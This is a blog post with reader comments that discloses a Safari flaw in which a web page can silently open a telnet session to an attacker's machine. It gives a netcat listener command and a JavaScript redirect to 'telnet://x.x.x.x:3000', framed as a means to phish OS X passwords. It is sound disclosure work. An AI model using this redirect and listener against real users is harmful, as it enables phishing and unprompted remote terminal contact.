Safari security

Well what do you do when you report a bug to Apple and the deny it is even a problem?

Turn it into a remote one.

What do you do when they don’t provide you with any credit whatsoever? Give up? Stop testing Safari? Or drink lots of coffee and red bull, stay up all night hacking the hell out of their browser? I went for the last one πŸ™‚ You see Apple I don’t really care if you don’t provide me credit or not I just like hacking browsers πŸ˜›

Ok onto the fun. Apple seem to have some sort of security related breakdown because they allow the telnet protocol. On top of that they allow it to automatically connect and to any address. Yeah crazy eh? Can you see where this is going? πŸ™‚ Take the following simple example:-

The attacker opens up a terminal on any remote machine:-
nc -vv -l -p 3000

The above command listens for incoming connections on port 3000. The attacker then tricks a user to visiting their evil web page:-

<script type="text/javascript">
// x.x.x.x = attackers remote ip
self.location = 'telnet://x.x.x.x:3000';

A connection is then established between the user and the attacker, the attacker can prompt the user to enter their OS X password etc, it may be even possible to execute a interactive shell. All not good I’m sure you’ll agree.

To make Safari secure simply select the Safari icon in applications and drag it to the waste bin.

13 Responses to “Safari security”

  1. Ronald writes:

    Yeah if you set up a daemon on the other side, you could even type on their screen if you like πŸ˜‰ good stuff it is, and they should block that. Hats off for MSIE cause they did block all those uri schemes.

  2. Gareth Heyes writes:

    Yeah that’s the nc (netcat) command does in the example, I tried it with my mate and I could type on his screen πŸ™‚

  3. .mario writes:

    Nice find – but on the other hand a similar threat can be generated by any persistent/reflective XSS when using tools like Backframe or XSSProxy.

    Another prove why markup injections in websites must be avoided by developers like hell.


  4. Gareth Heyes writes:

    Yeah but Apple should at least prompt the connection on telnet. I mean geez you can connect to any local/web address.

  5. pdp writes:

    interesting, though I am not sure about the impact of this issue, unless you can pass commands to the telnet client.

  6. Gareth Heyes writes:

    It’s pretty bad for phishing as it stands because it could prompt for the OS X password for example but I might find some more stuff in future because Apple has released a new update of Safari πŸ™‚

  7. thorin writes:

    Nice find Gareth.

  8. Gareth Heyes writes:

    Cheers πŸ™‚ it ain’t gonna stop there. I hold a grudge πŸ™‚

  9. Marcin writes:

    Haha, I love the remedy you prescribe. Good one! πŸ™‚

  10. fnord writes:

    Well, this is the same as if you use prefixes like aim:// or xmpp: and such. As long as you cannot get any execution or overwriting of files like the telnet://-nFile bug it’s completly useless for exploitation or phishing. I bet you don’t get one single person to type in a password that way.

    I personally don’t think that telnet needs to be handled that way in browsers at all, but it’s definitely not a critical bug.

  11. Gareth Heyes writes:

    Erm no it’s not because the attacker can send and receive information to the user without confirmation.

  12. fnord writes:

    You can receive data from a server, true. But it neither get saved on client side nor is there any execution (beside the start of a telnet session).

    I don’t see how the telnet client sends data to the server *without user interaction*. Every JS execution is far more dangerous than that.

  13. Gareth Heyes writes:

    Well it opens a terminal window and an attacker can send data to that terminal window without the user doing anything. Did I say this was a really dangerous flaw?

    All I’m saying is that it shouldn’t be possible for an attacker to display a terminal window and send data to it because some users may provide data that they shouldn’t.

    I’m not hear to debate the seriousness of the flaw, I couldn’t care less I just enjoy finding unusual flaws. Discussion closed.